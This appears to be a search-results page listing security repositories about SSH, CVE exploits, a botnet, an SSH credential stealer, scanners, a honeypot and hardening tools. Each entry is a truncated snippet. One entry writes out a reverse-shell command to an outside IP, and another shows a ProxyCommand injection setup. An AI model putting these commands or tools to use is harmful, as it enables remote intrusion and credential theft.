19280 matches found
CVE-2024-22894
CVE-2024-22894 Downloaded the latest heatpump firmware version wp2reg-V3.88.0-9015 of https://www.heatpump24.com/DownloadArea.php. Within this firmware is a file called : wp2reg-V3.88.0-9015\wp2reg-AlphaInnotech-prod\home.wp2reg-V3.88.0-9015221213\share\shadow This contains a 3DES encrypted...
CVE-2024-47533
Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...
libssh-mirror
.org The SSH library Why? Why not ? : I've began to work on my own implementation of the ssh protocol because i didn't like the currently public ones. Not any allowed you to import and use the functions as a powerful library, and so i worked on a library-based SSH implementation which was...
debian-ssh
Debian OpenSSL Predictable PRNG Links Original URL: http://metasploit.com/users/hdm/tools/debian-openssl/1 Mirror2 Exploit: https://www.exploit-db.com/exploits/5622/ Perl3 https://www.exploit-db.com/exploits/5720/ Python4 https://www.exploit-db.com/exploits/5632/ Ruby12 Recommend Tool: Crowbar13...
CVE-2022-40684
CVE-2022-40684 CVSS score: 9.6 POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances. Vulnerable Products FortiOS versions between 7.0.0 – 7.0.6 and 7.2.0 – 7.2.1 FortiProxy versions between 7.0.0 – 7.0.6 and version 7.2.0 FortiSwitchManager versions 7.0...
sshimpanzee
Sshimpanzee Sshimpanzee allows you to build a static reverse ssh server. Instead of listening on a port and waiting for connections, the ssh server will initiate a reverse connect to attacker's ip, just like a regular reverse shell. Sshimpanzee allows you to take advantage of every features of a...
CVE-2025-26466
CVE-2025-26466 How does this detection method work? This template matches on the following vulnerable versions: - "SSH-2.0-OpenSSH9.5p1" - "SSH-2.0-OpenSSH9.6p1" - "SSH-2.0-OpenSSH9.7p1" - "SSH-2.0-OpenSSH9.8p1" - "SSH-2.0-OpenSSH9.9p1" If there is a match, the host is considered to be vulnerable...
CnC-Botnet-in-Python
CnC-Botnet-in-Python C&C Botnet written in Python Description Simple botnet written in Python using fabric. The author is not responsible for the use of this code. Hosts It is possible to load hosts from a file hosts.txt included in the main directory of the project. The default format for this...
SSH-Stealer
RunAs-Stealer Smart keylogging capability to steal SSH Credentials including password & Private Key Usage The stolen credentials are written to C:\Users\Desktop\desktop.ini ADS log stream. To get the credentials type the cmd command: more \Desktop\desktop.ini:log" To remove the stored credentials...
fwbt
fwbt Writeup: https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla/ Proof of Concept code for interaction with Firewalla via Bluetooth Low-Energy and exploitation of CVE-2024-40892 / CVE-2024-40893 Without any configuration it will scan for Firewalla's in local proximity and leak th...
easyssh
EasySSH The SSH connection manager to make your life easier. Looking for maintainers! A complete, efficient and easy-to-use manager. Create and edit connections, groups, customize the terminal, with multiple instances of the same connection. Features Manage connections and groups Customize termin...
GrafXploit
Automated Exploit Tool for Grafana CVE-2021-43798 Overview This project is an automated exploit tool designed to scan for and extract sensitive information from compromised Grafana instances vulnerable to CVE-2021-43798. The tool identifies vulnerable plugins and extracts SSH keys from compromise...
metasploitable3
Metasploitable3 Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. It is intended to be used as a target for testing exploits with metasploit. Metasploitable3 is released under a BSD-style license. See COPYING for more details. Quick-start To...
CVE-2024-6387-nmap
OpenSSH Vulnerability Checker Nmap Script Description The openssh-vuln-checker.nse script checks if a server is running a vulnerable version of OpenSSHCVE-2024-6387. It connects to the SSH port, retrieves the SSH banner, and compares it against a list of known vulnerable versions. Vulnerable...
SSH-User-Enum-Python3-CVE-2018-15473
SSH-User-Enum-Python3-CVE-2018-15473 SSH User Enumerator in Python3, CVE-2018-15473, I've updated the code of this exploit https://www.exploit-db.com/exploits/45939 to work with python3 instead of python2, and I'm trying to implement functionalities to enumerate more users instead of only one...
CVE-2023-51385_poc-test
CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 命令注入漏洞poc 中文 1.vim /.ssh/config or edit C:/Users/username/.ssh/config on windows system host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone https://github.com/WLaoDuo/CVE-2023-51385poc-test...
CVE-2024-45337-POC
CVE-2024-45337-POC Proof of concept POC for CVE-2024-45337 Build go version go version go1.23.2 linux/amd64 go build Usage Usage of ./CVE-2024-45337-POC: -addr string Address of ssh server default "127.0.0.1:2222" -authorised-pubkey string The allowed pubkey that will pass verification Must be pu...
chef-ssh-hardening
ssh-hardening Chef cookbook 1 2 3 4 Description This cookbook provides secure ssh-client and ssh-server configurations. This cookbook does not provide capabilities for management of users and/or ssh keys, please use other cookbooks for that. Requirements Chef = 14.13.11 Platform Debian 8, 9, 10...
xz-vulnerable-honeypot
xz-vulnerable-honeypot An ssh honeypot with the XZ backdoor. CVE-2024-3094 TODO : hook the backdoor and/or sshd. log rsa keys for decryption. notes: https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504 https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01...